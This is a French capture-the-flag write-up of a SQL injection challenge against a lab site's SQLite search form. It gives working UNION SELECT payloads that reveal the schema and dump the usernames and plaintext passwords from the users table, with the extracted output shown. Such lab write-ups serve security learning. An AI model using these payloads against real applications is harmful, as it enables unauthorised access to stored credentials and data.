Aller au contenu

SQL injection String

Samuel MANECHEZ 21/10/2021 SQL injection - String Lien du CFT

1. Trouver le point d'injection

Après multiple essaies sur la page de login sans succés je test la page search.

2. Identifier le type de base de données

En essayant sur le page search et en entrant cette commande ' OR 1=1# dans barre search on obtient :

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "#" in /challenge/web-serveur/ch19/index.php on line 150
unrecognized token: "#"
On découvre le format de la base de données est du Sqlite3. Ainsi que le point d'netrée certainement via le formualire de recherche.

3. Déterminer le nombre de colonnes de la requête de l'application

Afficher la structure de la table user, on comprend qu'il y a deux colonnes :

' Union Select 1,2,sql FROM sqlite_master--

Warning: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in /challenge/web-serveur/ch19/index.php on line 150
SELECTs to the left and right of UNION do not have the same number of result columns

4. Si nécessaire déterminer les types des colonnes

En cherchant le nombres de colonnes on finis par arriver sur le nombre de 2 colonnes :

' Union Select 1,sql FROM sqlite_master--
1 (CREATE TABLE news(id INTEGER, title TEXT, description TEXT))
1 (CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))
Bienvenu / Welcome (Bienvenu à tous / Welcome all !)
Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)
Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)
Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)
Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))

5. Exploiter la faille en fonction de l'objectif de l'attaque

Trouver le mot de passe admin :

' Union Select username,password from users--
Bienvenu / Welcome (Bienvenu à tous / Welcome all !)
Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)
Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)
Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)
Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))
admin (c4K04dtIaJsuWdi)
user1 (OK4dSoYE)
user2 (8Wbhkzmd)

On trouve le mot de passe admin : c4K04dtIaJsuWdi.

6. Trouver la version

Trouver la version du sqlite3 :

' Union SELECT 1,sqlite_version();
1 (3.31.1)
Bienvenu / Welcome (Bienvenu à tous / Welcome all !)
Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)
Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)
Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)
Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))